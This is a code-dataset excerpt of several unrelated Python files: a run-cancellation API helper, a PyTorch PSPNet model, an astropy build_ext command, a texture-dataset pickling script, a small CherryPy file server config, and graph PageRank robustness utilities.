run_dir.joinpath(RUN_ORDER_FILE_NAME).open(mode=\"r\") as f:\n run_order = yaml.load(f, Loader=yaml.SafeLoader)\n run_info.update(run_order)\n with run_dir.joinpath(UPLOAD_URL_FILE_NAME).open(mode=\"r\") as f:\n run_info[\"upload_url\"] = f.read().strip()\n with run_dir.joinpath(STDOUT_FILE_NAME).open(mode=\"r\") as f:\n run_info[\"stdout\"] = f.read()\n with run_dir.joinpath(STDERR_FILE_NAME).open(mode=\"r\") as f:\n run_info[\"stderr\"] = f.read()\n\n return run_info\n\n\ndef _update_end_time(run_id):\n run_dir = list(RUN_BASE_DIR.glob(\"**/{}\".format(run_id)))[0]\n status_file = run_dir.joinpath(STATUS_FILE_NAME)\n with status_file.open(mode=\"r\") as f:\n run_status = f.read().strip()\n if run_status not in [\"QUEUED\", \"RUNNING\"]:\n with run_dir.joinpath(RUN_ORDER_FILE_NAME).open(mode=\"r\") as f:\n run_order = yaml.load(f, Loader=yaml.SafeLoader)\n run_order[\"end_time\"] = datetime.fromtimestamp(\n status_file.stat().st_mtime).strftime(\"%Y-%m-%d %H:%M:%S\")\n with run_dir.joinpath(RUN_ORDER_FILE_NAME).open(mode=\"w\") as f:\n f.write(yaml.dump(run_order, default_flow_style=False))\n\n\n# POST /runs//cancel\ndef cancel_run(run_id):\n run_dir = list(RUN_BASE_DIR.glob(\"**/{}\".format(run_id)))[0]\n status_file = run_dir.joinpath(STATUS_FILE_NAME)\n with status_file.open(mode=\"r\") as f:\n run_status = f.read().strip()\n if run_status not in [\"QUEUED\", \"RUNNING\"]:\n abort(400, \"The run can not be canceled.\")\n with run_dir.joinpath(PID_INFO_FILE_NAME).open(mode=\"r\") as f:\n pid = int(f.read().strip())\n ps = Popen([\"ps\", \"aux\"], stdout=PIPE).communicate()[0]\n processes = ps.decode(\"utf-8\").split(\"\\n\")\n for process in processes:\n try:\n ps_pid = int(process.split()[0])\n l_command = process.split()[3:]\n except Exception:\n continue\n if ps_pid == pid:\n if \"sh\" in l_command and str(run_id) in l_command:\n os.kill(pid, signal.SIGUSR1)\n with status_file.open(mode=\"w\") as f:\n f.write(\"CANCELED\")\n return {\"run_id\": run_id, \"status\": \"CANCELED\"}\n abort(400, \"There is no run to cancel.\")\n","sub_path":"src/app/lib/runs.py","file_name":"runs.py","file_ext":"py","file_size_in_byte":7944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"274209254","text":"from __future__ import division\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom . import extractors\nfrom torch.autograd import Variable\n\n'Contains the implementation of PSPNet developed by https://github.com/Lextal/pspnet-pytorch '\n'The implementation of the available feature extractors can be found at extractors.py'\n'''\nChanges: \n1- Parent class initializations adpted to py2.7 style for image servers\n2- Deleted final classificator for 2ndary segmentation loss\n3- Deleted Logsoftmax from final layer\n'''\n\nclass PSPModule(nn.Module):\n def __init__(self, features, out_features=1024, sizes=(1, 2, 3, 6)):\n super(PSPModule,self).__init__()\n self.stages = []\n self.stages = nn.ModuleList([self._make_stage(features, size) for size in sizes])\n self.bottleneck = nn.Conv2d(features * (len(sizes) + 1), out_features, kernel_size=1)\n self.relu = nn.ReLU()\n\n def _make_stage(self, features, size):\n prior = nn.AdaptiveAvgPool2d(output_size=(size, size))\n conv = nn.Conv2d(features, features, kernel_size=1, bias=False)\n return nn.Sequential(prior, conv)\n\n def forward(self, feats):\n h, w = feats.size(2), feats.size(3)\n priors = [F.upsample(input=stage(feats), size=(h, w), mode='bilinear') for stage in self.stages] + [feats]\n bottle = self.bottleneck(torch.cat(priors, 1))\n return self.relu(bottle)\n\n\nclass PSPUpsample(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(PSPUpsample,self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.BatchNorm2d(out_channels),\n nn.PReLU()\n )\n\n def forward(self, x):\n h, w = 2 * x.size(2), 2 * x.size(3)\n p = F.upsample(input=x, size=(h, w), mode='bilinear')\n return self.conv(p)\n\n\nclass PSPNet(nn.Module):\n def __init__(self, n_classes=1, sizes=(1, 2, 3, 6), psp_size=2048, deep_features_size=1024, backend='resnet34',\n pretrained=True):\n super(PSPNet, self).__init__()\n self.feats = getattr(extractors, backend)(pretrained)\n self.psp = PSPModule(psp_size, 1024, sizes)\n self.drop_1 = nn.Dropout2d(p=0.5)\n\n self.up_1 = PSPUpsample(1024, 256)\n self.up_2 = PSPUpsample(256, 64)\n self.up_3 = PSPUpsample(64, 64)\n\n self.drop_2 = nn.Dropout2d(p=0.35)\n self.final = nn.Sequential(\n nn.Conv2d(64, n_classes, kernel_size=1),\n nn.Sigmoid()\n )\n # No em fa falta per fer refressio\n '''\n self.classifier = nn.Sequential(\n nn.Linear(deep_features_size, 256),\n nn.ReLU(),\n nn.Linear(256, n_classes)\n )\n '''\n self.x_sobel, self.y_sobel = self.make_sobel_filters()\n #self.x_sobel = self.x_sobel.cuda()\n #self.y_sobel = self.y_sobel.cuda()\n\n def make_sobel_filters(self):\n ''' Returns sobel filters as part of the network'''\n\n a = torch.Tensor([[1, 0, -1],\n [2, 0, -2],\n [1, 0, -1]])\n\n # Add dims to fit batch_size, n_filters, filter shape\n a = a.view((1,1,3,3))\n a = Variable(a)#, requires_grad = False)\n\n # Repeat for vertical contours\n b = torch.Tensor([[1, 2, 1],\n [0, 0, 0],\n [-1, -2, -1]])\n\n b = b.view((1,1,3,3))\n b = Variable(b)#, requires_grad = False)\n\n return a,b\n\n def imgrad(self,img):\n # Filter horizontal contours\n G_x = F.conv2d(img, self.x_sobel)\n \n # Filter vertical contrours\n G_y = F.conv2d(img, self.y_sobel)\n\n G = torch.sqrt(torch.pow(G_x,2)+ torch.pow(G_y,2))\n return G\n\n\n def forward(self, x):\n f, class_f = self.feats(x) \n p = self.psp(f)\n p = self.drop_1(p)\n\n p = self.up_1(p)\n p = self.drop_2(p)\n\n p = self.up_2(p)\n p = self.drop_2(p)\n\n p = self.up_3(p)\n p = self.drop_2(p)\n\n p = self.final(p)\n p_grad = self.imgrad(p)\n #auxiliary = F.adaptive_max_pool2d(input=class_f, output_size=(1, 1)).view(-1, class_f.size(1))\n\n return p, p_grad#, self.classifier(auxiliary) Not needed for refression\n\n\n\nif __name__ == '__main__':\n import numpy as np\n from PIL import Image\n from torch.autograd import Variable\n\n models = {\n 'squeezenet': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=512, deep_features_size=256, backend='squeezenet'),\n 'densenet': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=1024, deep_features_size=512, backend='densenet'),\n 'resnet18': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=512, deep_features_size=256, backend='resnet18'),\n 'resnet34': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=512, deep_features_size=256, backend='resnet34'),\n 'resnet50': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=2048, deep_features_size=1024, backend='resnet50'),\n 'resnet101': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=2048, deep_features_size=1024, backend='resnet101'),\n 'resnet152': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=2048, deep_features_size=1024, backend='resnet152')\n }\n # Instantiate a model\n net = models['resnet18']()\n print(net)\n net.eval()\n RGB_sample = '../Test_samples/frame-000050.color.jpg'\n # Read and reshape img to Bx3xHxW FloatTensor x\n rgb_im = np.array(Image.open(RGB_sample),dtype=float)\n rgb_im = np.swapaxes(rgb_im,0,-1)\n rgb_im = np.swapaxes(rgb_im,-2,-1)\n rgb_im = np.expand_dims(rgb_im,0)\n rgb_im=(rgb_im-127)/28\n print(np.shape(rgb_im))\n rgb_im = torch.from_numpy(rgb_im)\n rgb_im\n print(type(rgb_im))\n print(rgb_im.size())\n net.double()\n net.cuda()\n p,aux = net(rgb_im.double().cuda())\n p = p.cpu().detach().numpy()\n aux = aux.cpu().detach().numpy()\n print(p.shape,np.unique(p))\n print(aux.shape,np.unique(aux))\n np.save('p',p)\n np.save('aux',aux)\n","sub_path":"Models/pspnet.py","file_name":"pspnet.py","file_ext":"py","file_size_in_byte":6018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"152888431","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/rgeda/project/repo/webbpsf/astropy_helpers/astropy_helpers/commands/build_ext.py\n# Compiled at: 2019-07-20 17:47:20\n# Size of source mod 2**32: 19715 bytes\nimport errno, os, re, shlex, shutil, subprocess, sys, textwrap\nfrom distutils import log, ccompiler, sysconfig\nfrom distutils.core import Extension\nfrom distutils.ccompiler import get_default_compiler\nfrom setuptools.command.build_ext import build_ext as SetuptoolsBuildExt\nfrom setuptools.command import build_py\nfrom ..utils import get_numpy_include_path, invalidate_caches, classproperty\nfrom ..version_helpers import get_pkg_version_module\n\ndef should_build_with_cython(package, release=None):\n \"\"\"Returns the previously used Cython version (or 'unknown' if not\n previously built) if Cython should be used to build extension modules from\n pyx files. If the ``release`` parameter is not specified an attempt is\n made to determine the release flag from `astropy.version`.\n \"\"\"\n try:\n version_module = __import__((package + '.cython_version'), fromlist=[\n 'release', 'cython_version'])\n except ImportError:\n version_module = None\n\n if release is None:\n if version_module is not None:\n try:\n release = version_module.release\n except AttributeError:\n pass\n\n try:\n cython_version = version_module.cython_version\n except AttributeError:\n cython_version = 'unknown'\n\n have_cython = False\n try:\n import Cython\n have_cython = True\n except ImportError:\n pass\n\n if have_cython:\n if not release or cython_version == 'unknown':\n return cython_version\n return False\n\n\n_compiler_versions = {}\n\ndef get_compiler_version(compiler):\n if compiler in _compiler_versions:\n return _compiler_versions[compiler]\n else:\n flags = [\n '--version', '--Version', '-version', '-Version',\n '-v', '-V']\n\n def try_get_version(flag):\n process = subprocess.Popen((shlex.split(compiler, posix=('win' not in sys.platform)) + [flag]),\n stdout=(subprocess.PIPE),\n stderr=(subprocess.PIPE))\n stdout, stderr = process.communicate()\n if process.returncode != 0:\n return 'unknown'\n else:\n output = stdout.strip().decode('latin-1')\n if not output:\n output = stderr.strip().decode('latin-1')\n if not output:\n output = 'unknown'\n return output\n\n for flag in flags:\n version = try_get_version(flag)\n if version != 'unknown':\n break\n\n _compiler_versions[compiler] = version\n return version\n\n\ndef generate_build_ext_command(packagename, release):\n \"\"\"\n Creates a custom 'build_ext' command that allows for manipulating some of\n the C extension options at build time. We use a function to build the\n class since the base class for build_ext may be different depending on\n certain build-time parameters (for example, we may use Cython's build_ext\n instead of the default version in distutils).\n\n Uses the default distutils.command.build_ext by default.\n \"\"\"\n\n class build_ext(SetuptoolsBuildExt):\n package_name = packagename\n is_release = release\n _user_options = SetuptoolsBuildExt.user_options[:]\n _boolean_options = SetuptoolsBuildExt.boolean_options[:]\n _help_options = SetuptoolsBuildExt.help_options[:]\n force_rebuild = False\n _broken_compiler_mapping = [\n ('i686-apple-darwin[0-9]*-llvm-gcc-4.2', 'clang')]\n\n @classproperty\n def user_options(cls):\n from distutils import core\n if core._setup_distribution is None:\n return cls._user_options\n else:\n return cls._final_class.user_options\n\n @classproperty\n def boolean_options(cls):\n from distutils import core\n if core._setup_distribution is None:\n return cls._boolean_options\n else:\n return cls._final_class.boolean_options\n\n @classproperty\n def help_options(cls):\n from distutils import core\n if core._setup_distribution is None:\n return cls._help_options\n else:\n return cls._final_class.help_options\n\n @classproperty(lazy=True)\n def _final_class(cls):\n uses_cython = should_build_with_cython(cls.package_name, cls.is_release)\n if uses_cython:\n try:\n from Cython.Distutils.old_build_ext import old_build_ext as base_cls\n except ImportError:\n from Cython.Distutils import build_ext as base_cls\n\n else:\n base_cls = SetuptoolsBuildExt\n\n def merge_options(attr):\n base = getattr(base_cls, attr)\n ours = getattr(cls, '_' + attr)\n all_base = set(opt[0] for opt in base)\n return base + [opt for opt in ours if opt[0] not in all_base]\n\n boolean_options = base_cls.boolean_options + [opt for opt in cls._boolean_options if opt not in base_cls.boolean_options]\n members = dict(cls.__dict__)\n members.update({'user_options':merge_options('user_options'), \n 'help_options':merge_options('help_options'), \n 'boolean_options':boolean_options, \n 'uses_cython':uses_cython})\n build_ext.__bases__ = (\n base_cls, object)\n return type(cls.__name__, (build_ext,), members)\n\n def __new__(cls, *args, **kwargs):\n new_cls = super(build_ext, cls._final_class).__new__(cls._final_class)\n (new_cls.__init__)(*args, **kwargs)\n return new_cls\n\n def finalize_options(self):\n self._adjust_compiler()\n extensions = self.distribution.ext_modules\n if extensions:\n build_py = self.get_finalized_command('build_py')\n package_dir = build_py.get_package_dir(packagename)\n src_path = os.path.relpath(os.path.join(os.path.dirname(__file__), 'src'))\n shutil.copy(os.path.join(src_path, 'compiler.c'), os.path.join(package_dir, '_compiler.c'))\n ext = Extension(self.package_name + '._compiler', [\n os.path.join(package_dir, '_compiler.c')])\n extensions.insert(0, ext)\n super(build_ext, self).finalize_options()\n if self.uses_cython:\n try:\n from Cython import __version__ as cython_version\n except ImportError:\n cython_version = None\n\n if cython_version is not None:\n if cython_version != self.uses_cython:\n self.force_rebuild = True\n self.uses_cython = cython_version\n if self.force_rebuild:\n self.force = True\n\n def run(self):\n np_include = get_numpy_include_path()\n for extension in self.extensions:\n if 'numpy' in extension.include_dirs:\n idx = extension.include_dirs.index('numpy')\n extension.include_dirs.insert(idx, np_include)\n extension.include_dirs.remove('numpy')\n self._check_cython_sources(extension)\n\n super(build_ext, self).run()\n try:\n cython_version = get_pkg_version_module(packagename,\n fromlist=['cython_version'])[0]\n except (AttributeError, ImportError):\n cython_version = 'unknown'\n\n if self.uses_cython and self.uses_cython != cython_version:\n build_py = self.get_finalized_command('build_py')\n package_dir = build_py.get_package_dir(packagename)\n cython_py = os.path.join(package_dir, 'cython_version.py')\n with open(cython_py, 'w') as (f):\n f.write('# Generated file; do not modify\\n')\n f.write('cython_version = {0!r}\\n'.format(self.uses_cython))\n if os.path.isdir(self.build_lib):\n self.copy_file(cython_py, (os.path.join(self.build_lib, cython_py)),\n preserve_mode=False)\n invalidate_caches()\n\n def _adjust_compiler(self):\n \"\"\"\n This function detects broken compilers and switches to another. If\n the environment variable CC is explicitly set, or a compiler is\n specified on the commandline, no override is performed -- the\n purpose here is to only override a default compiler.\n\n The specific compilers with problems are:\n\n * The default compiler in XCode-4.2, llvm-gcc-4.2,\n segfaults when compiling wcslib.\n\n The set of broken compilers can be updated by changing the\n compiler_mapping variable. It is a list of 2-tuples where the\n first in the pair is a regular expression matching the version of\n the broken compiler, and the second is the compiler to change to.\n \"\"\"\n if 'CC' in os.environ:\n c_compiler = os.environ['CC']\n try:\n version = get_compiler_version(c_compiler)\n except OSError:\n msg = textwrap.dedent('\\n The C compiler set by the CC environment variable:\\n\\n {compiler:s}\\n\\n cannot be found or executed.\\n '.format(compiler=c_compiler))\n log.warn(msg)\n sys.exit(1)\n\n for broken, fixed in self._broken_compiler_mapping:\n if re.match(broken, version):\n msg = textwrap.dedent('Compiler specified by CC environment variable\\n ({compiler:s}:{version:s}) will fail to compile\\n {pkg:s}.\\n\\n Please set CC={fixed:s} and try again.\\n You can do this, for example, by running:\\n\\n CC={fixed:s} python setup.py \\n\\n where is the command you ran.\\n '.format(compiler=c_compiler, version=version, pkg=(self.package_name),\n fixed=fixed))\n log.warn(msg)\n sys.exit(1)\n\n return\n else:\n if self.compiler is not None:\n return\n compiler_type = ccompiler.get_default_compiler()\n if compiler_type == 'unix':\n c_compiler = sysconfig.get_config_var('CC')\n try:\n version = get_compiler_version(c_compiler)\n except OSError:\n msg = textwrap.dedent('\\n The C compiler used to compile Python {compiler:s}, and\\n which is normally used to compile C extensions, is not\\n available. You can explicitly specify which compiler to\\n use by setting the CC environment variable, for example:\\n\\n CC=gcc python setup.py \\n\\n or if you are using MacOS X, you can try:\\n\\n CC=clang python setup.py \\n '.format(compiler=c_compiler))\n log.warn(msg)\n sys.exit(1)\n\n for broken, fixed in self._broken_compiler_mapping:\n if re.match(broken, version):\n os.environ['CC'] = fixed\n break\n\n def _check_cython_sources(self, extension):\n \"\"\"\n Where relevant, make sure that the .c files associated with .pyx\n modules are present (if building without Cython installed).\n \"\"\"\n if self.compiler is None:\n compiler = get_default_compiler()\n else:\n compiler = self.compiler\n for jdx, src in enumerate(extension.sources):\n base, ext = os.path.splitext(src)\n pyxfn = base + '.pyx'\n cfn = base + '.c'\n cppfn = base + '.cpp'\n if not os.path.isfile(pyxfn):\n pass\n else:\n if self.uses_cython:\n extension.sources[jdx] = pyxfn\n else:\n if os.path.isfile(cfn):\n extension.sources[jdx] = cfn\n else:\n if os.path.isfile(cppfn):\n extension.sources[jdx] = cppfn\n else:\n msg = 'Could not find C/C++ file {0}.(c/cpp) for Cython file {1} when building extension {2}. Cython must be installed to build from a git checkout.'.format(base, pyxfn, extension.name)\n raise IOError(errno.ENOENT, msg, cfn)\n if compiler == 'unix':\n extension.extra_compile_args.extend([\n '-Wp,-w', '-Wno-unused-function'])\n\n return build_ext","sub_path":"pycfiles/webbpsf-0.9.0.post1.tar/build_ext.cpython-36.py","file_name":"build_ext.cpython-36.py","file_ext":"py","file_size_in_byte":13750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"479099726","text":"import os\nimport random\nimport numpy as np\nimport cv2\nimport ipdb \nimport pickle\n\nfolderspath = os.listdir(os.path.join(os.getenv('HOME'),'texture'))\nind = np.arange(20)\n\ntrain = []\n#train.setdefault('image', [])\n#train.setdefault('label', [])\n\ntest = []\n#test.setdefault('image', [])\n#test.setdefault('label', [])\n\nlabel = 1\n\nfor folder in folderspath:\n images = os.listdir(os.path.join(os.getenv('HOME'),'texture',folder))\n random.shuffle(images)\n for i in ind:\n if i<10:\n im = cv2.imread(os.path.join(os.getenv('HOME'),'texture', folder, images[i])) \n im = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n temp = {'image':im,'label':label}\n train.append(temp)\n #train['image'].append(im)\n #train['label'].append(label)\n else:\n im = cv2.imread(os.path.join(os.getenv('HOME'),'texture', folder, images[i])) \n im = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n temp = {'image':im,'label':label}\n test.append(temp)\n #test['image'].append(im)\n #test['label'].append(label)\n label += 1\n \nf = open(os.path.join(os.getcwd(),'trainset'),'wb')\npickle.dump(train, f)\nf.close()\n\nf = open(os.path.join(os.getcwd(),'testset'),'wb')\npickle.dump(test, f)\nf.close()\n\n","sub_path":"05-Textons/data_random.py","file_name":"data_random.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"208721617","text":"import cherrypy\nimport sys\nfrom controllers.filecontroller import FileController\nfrom controllers.foldercontroller import FolderController\n\nconfig = {\n 'global': {\n 'server.socket_host': \"0.0.0.0\",\n 'server.socket_port': 8080,\n 'server.thread_pool': 10,\n 'engine.autoreload_on': False\n },\n 'api': {\n 'username': \"admin\",\n 'password': \"password\"\n }\n}\n\n\ndef setup_routes():\n dispatcher = cherrypy.dispatch.RoutesDispatcher()\n dispatcher.connect(name='files',\n route='/folder/{folder}/files/',\n controller=FileController(),\n action='get_files')\n\n dispatcher.connect(name='file',\n route='/folder/{folder}/file/{name}',\n controller=FileController(),\n action='get_file')\n\n dispatcher.connect(name='folders',\n route='/folders/',\n controller=FolderController(),\n action='get_folders')\n return dispatcher\n\n\nif __name__ == '__main__':\n config['/'] = {\n 'request.dispatch': setup_routes()\n }\n cherrypy.quickstart(config=config)","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381915750","text":"import numba\nimport numpy as np\nimport scipy.sparse as sp\nimport torch\nimport random\nfrom scipy.sparse.linalg import gmres\n\ndef correction_term(adj, opt_fragile, fragile):\n \"\"\"\n Computes correction term needed to map x_v to ppr_v.\n Parameters\n ----------\n adj : sp.spmatrix, shape [n, n]\n Sparse adjacency matrix.\n opt_fragile : np.ndarray, shape [?, 2]\n Optimal fragile edges.\n fragile : np.ndarray, shape [?, 2]\n Fragile edges that are under our control.\n Returns\n -------\n correction : np.ndarray, shape [n]\n Correction term.\n \"\"\"\n n = adj.shape[0]\n if len(opt_fragile) > 0:\n adj_all = adj + edges_to_sparse(fragile, n)\n adj_all[adj_all != 0] = 1\n deg_all = adj_all.sum(1).A1\n\n g_chosen = edges_to_sparse(opt_fragile, n, 1 - 2 * adj[opt_fragile[:, 0], opt_fragile[:, 1]].A1)\n n_removed = -g_chosen.multiply(g_chosen == -1).sum(1).A1\n n_added = g_chosen.multiply(g_chosen == 1).sum(1).A1\n n_to_add = edges_to_sparse(fragile, n, 1 - adj[fragile[:, 0], fragile[:, 1]].A1).sum(1).A1\n correction = 1 - (n_removed + (n_to_add - n_added)) / deg_all\n else:\n correction = np.ones(n)\n\n return correction\n\n@numba.jit(nopython=True)\ndef _top_k(indices, indptr, data, k_per_row):\n \"\"\"\n\n Parameters\n ----------\n indices: np.ndarray, shape [n_edges]\n Indices of a sparse matrix.\n indptr: np.ndarray, shape [n+1]\n Index pointers of a sparse matrix.\n data: np.ndarray, shape [n_edges]\n Data of a sparse matrix.\n k_per_row: np.ndarray, shape [n]\n Number of top_k elements for each row.\n Returns\n -------\n top_k_idx: list\n List of the indices of the top_k elements for each row.\n \"\"\"\n n = len(indptr) - 1\n top_k_idx = []\n for i in range(n):\n cur_top_k = k_per_row[i]\n if cur_top_k > 0:\n cur_indices = indices[indptr[i]:indptr[i + 1]]\n cur_data = data[indptr[i]:indptr[i + 1]]\n # top_k = cur_indices[np.argpartition(cur_data, -cur_budget)[-cur_budget:]]\n top_k = cur_indices[cur_data.argsort()[-cur_top_k:]]\n top_k_idx.append(top_k)\n\n return top_k_idx\n\n\ndef top_k_numba(x, k_per_row):\n \"\"\"\n Returns the indices of the top_k element per row for a sparse matrix.\n Considers only the non-zero entries.\n Parameters\n ----------\n x : sp.spmatrix, shape [n, n]\n Data matrix.\n k_per_row : np.ndarray, shape [n]\n Number of top_k elements for each row.\n Returns\n -------\n top_k_per_row : np.ndarray, shape [?, 2]\n The 2D indices of the top_k elements per row.\n \"\"\"\n # make sure that k_per_row does not exceed the number of non-zero elements per row\n k_per_row = np.minimum(k_per_row, (x != 0).sum(1).A1)\n n = x.shape[0]\n row_idx = np.repeat(np.arange(n), k_per_row)\n\n col_idx = _top_k(x.indices, x.indptr, x.data, k_per_row)\n col_idx = np.concatenate(col_idx)\n\n top_k_per_row = np.column_stack((row_idx, col_idx))\n\n\n return top_k_per_row\n\n\ndef flip_edges(adj, edges):\n \"\"\"\n Flip the edges in the graph (A_ij=1 becomes A_ij=0, and A_ij=0 becomes A_ij=1).\n\n Parameters\n ----------\n adj : sp.spmatrix, shape [n, n]\n Sparse adjacency matrix.\n edges : np.ndarray, shape [?, 2]\n Edges to flip.\n Returns\n -------\n adj_flipped : sp.spmatrix, shape [n, n]\n Sparse adjacency matrix with flipped edges.\n \"\"\"\n adj_flipped = adj.copy().tolil()\n# if len(edges) > 0:\n# adj_flipped[edges[:, 0], edges[:, 1]] = 1 - adj[edges[:, 0], edges[:, 1]]\n if len(edges) > 0:\n for e in edges:\n adj_flipped[e[0], e[1]] = 1 - adj[e[0], e[1]]\n return adj_flipped\n\n\ndef compute_adj_changing(adj, opt_fragile):\n n = adj.shape[0]\n adj_changing = torch.zeros([n, n])\n\n for edge in opt_fragile:\n adj_changing[edge[0],edge[1]] = 1 - 2*adj[edge[0],edge[1]]\n del adj, opt_fragile\n return adj_changing\n\n\ndef propagation_matrix(adj, alpha=0.85, sigma=1):\n \"\"\"\n Computes the propagation matrix (1-alpha)(I - alpha D^{-sigma} A D^{sigma-1})^{-1}.\n\n Parameters\n ----------\n adj : tensor, shape [n, n]\n alpha : float\n (1-alpha) is the teleport probability.\n sigma\n Hyper-parameter controlling the propagation style.\n Set sigma=1 to obtain the PPR matrix.\n Returns\n -------\n prop_matrix : tensor, shape [n, n]\n Propagation matrix.\n \"\"\"\n deg = adj.sum(1)\n deg_min_sig = torch.matrix_power(torch.diag(deg), -sigma)\n # 为了节省内存 100m\n if sigma - 1 == 0:\n deg_sig_min = torch.diag(torch.ones_like(deg))\n else:\n deg_sig_min = torch.matrix_power(torch.diag(deg), sigma - 1)\n\n n = adj.shape[0]\n pre_inv = torch.eye(n) - alpha * deg_min_sig @ adj @ deg_sig_min\n\n prop_matrix = (1 - alpha) * torch.inverse(pre_inv)\n del pre_inv,deg_min_sig, adj\n return prop_matrix\n\n\ndef topic_sensitive_pagerank(adj, alpha, teleport):\n \"\"\"\n Computes the topic-sensitive PageRank vector.\n\n Parameters\n ----------\n adj : sp.spmatrix, shape [n, n]\n Sparse adjacency matrix.\n alpha : float\n (1-alpha) teleport[v] is the probability to teleport to node v.\n teleport : np.ndarray, shape [n]\n Teleport vector.\n\n Returns\n -------\n ppr : np.ndarray, shape [n]\n PageRank vector.\n \"\"\"\n assert np.isclose(teleport.sum(), 1)\n\n n = adj.shape[0]\n trans = sp.diags(1 / adj.sum(1).A1) @ adj.tocsr()\n\n # gets one row from the PPR matrix (since we transpose the transition matrix)\n ppr = sp.linalg.gmres(sp.eye(n) - alpha * trans.T, teleport)[0] * (1 - alpha)\n\n return ppr\n\n\ndef edges_to_sparse(edges, num_nodes, weights=None):\n \"\"\"Create a sparse adjacency matrix from an array of edge indices and (optionally) values.\n\n :param edges: array-like, shape [num_edges, 2]\n Array with each row storing indices of an edge as (u, v).\n :param num_nodes: int\n Number of nodes in the resulting graph.\n :param weights: array_like, shape [num_edges], optional, default None\n Weights of the edges. If None, all edges weights are set to 1.\n :return: sp.csr_matrix\n Adjacency matrix in CSR format.\n \"\"\"\n if weights is None:\n weights = np.ones(edges.shape[0])\n\n return sp.coo_matrix((weights, (edges[:, 0], edges[:, 1])), shape=(num_nodes, num_nodes)).tocsr()\n\n\ndef get_fragile(adj, threat_model):\n \"\"\"\n Generate a set of fragile edges corresponding to different threat models and scenarios.\n\n Parameters\n ----------\n adj : sp.spmatrix, shape [n, n]\n Sparse adjacency matrix.\n threat_model : string\n 'rem' specifies an attacker that can only remove edges, i.e. fragile edges are existing edges in the graph,\n 'add_rem' specifies an attacker that can both add and remove edges.\n\n Returns\n -------\n fragile : np.ndarray, shape [?, 2]\n Set of fragile edges.\n \"\"\"\n n = adj.shape[0]\n\n mst = sp.csgraph.minimum_spanning_tree(adj)\n mst = mst + mst.T\n\n if threat_model == 'rem':\n fragile = np.column_stack((adj - mst).nonzero())\n elif threat_model == 'add_rem':\n fragile_rem = np.column_stack((adj - mst).nonzero())\n fragile_add = np.column_stack(np.ones((n, n)).nonzero())\n fragile_add = fragile_add[adj[fragile_add[:, 0], fragile_add[:, 1]].A1 == 0]\n fragile_add = fragile_add[fragile_add[:, 0] != fragile_add[:, 1]]\n fragile = np.row_stack((fragile_add, fragile_rem))\n else:\n raise ValueError('threat_model not set correctly.')\n\n return fragile\n\n\ndef load_dataset(file_name):\n \"\"\"\n Load a graph from a Numpy binary file.\n\n Parameters\n ----------\n file_name : str\n Name of the file to load.\n\n Returns\n -------\n graph : dict\n Dictionary that contains:\n * 'A' : The adjacency matrix in sparse matrix format\n * 'X' : The attribute matrix in sparse matrix format\n * 'z' : The ground truth class labels\n * Further dictionaries mapping node, class and attribute IDs\n\n \"\"\"\n\n if not file_name.endswith('.npz'):\n file_name += '.npz'\n if file_name.endswith('reddit.npz') or file_name.endswith('karate.npz'):\n with np.load(file_name, allow_pickle=True) as loader:\n loader = dict(loader)\n adj_matrix = sp.csr_matrix((loader['adj_data'], loader['adj_indices'],\n loader['adj_indptr']), shape=loader['adj_shape'])\n\n attr_matrix = sp.csr_matrix((loader['attr_data'], loader['attr_indices'],\n loader['attr_indptr']), shape=loader['attr_shape'])\n\n labels = loader.get('labels')\n\n graph = {\n 'adj_matrix': adj_matrix,\n 'attr_matrix': attr_matrix,\n 'labels': labels\n }\n else:\n with np.load(file_name, allow_pickle=True) as loader:\n loader = dict(loader)\n adj_matrix = sp.csr_matrix((loader['adj_matrix.data'], loader['adj_matrix.indices'],\n loader['adj_matrix.indptr']), shape=loader['adj_matrix.shape'])\n\n attr_matrix = sp.csr_matrix((loader['attr_matrix.data'], loader['attr_matrix.indices'],\n loader['attr_matrix.indptr']), shape=loader['attr_matrix.shape'])\n\n labels = loader.get('labels')\n\n graph = {\n 'adj_matrix': adj_matrix,\n 'attr_matrix': attr_matrix,\n 'labels': labels\n }\n \n return graph\n\n\ndef standardize(adj_matrix, attr_matrix):\n \"\"\"\n Make the graph undirected and select only the nodes belonging to the largest connected component.\n Parameters\n ----------\n adj_matrix : sp.spmatrix\n Sparse adjacency matrix\n attr_matrix : sp.spmatrix\n Sparse attribute matrix\n\n Returns\n -------\n standardized_adj_matrix: sp.spmatrix\n Standardized sparse adjacency matrix.\n standardized_attr_matrix: sp.spmatrix\n Standardized sparse attribute matrix.\n \"\"\"\n # copy the input\n standardized_adj_matrix = adj_matrix.copy()\n\n # make the graph unweighted\n standardized_adj_matrix[standardized_adj_matrix != 0] = 1\n\n # make the graph undirected\n standardized_adj_matrix = standardized_adj_matrix.maximum(standardized_adj_matrix.T)\n\n # select the largest connected component\n _, components = sp.csgraph.connected_components(standardized_adj_matrix)\n c_ids, c_counts = np.unique(components, return_counts=True)\n id_max_component = c_ids[c_counts.argmax()]\n select = components == id_max_component\n\n standardized_adj_matrix = standardized_adj_matrix[select][:, select]\n standardized_attr_matrix = attr_matrix[select]\n\n # remove self-loops\n 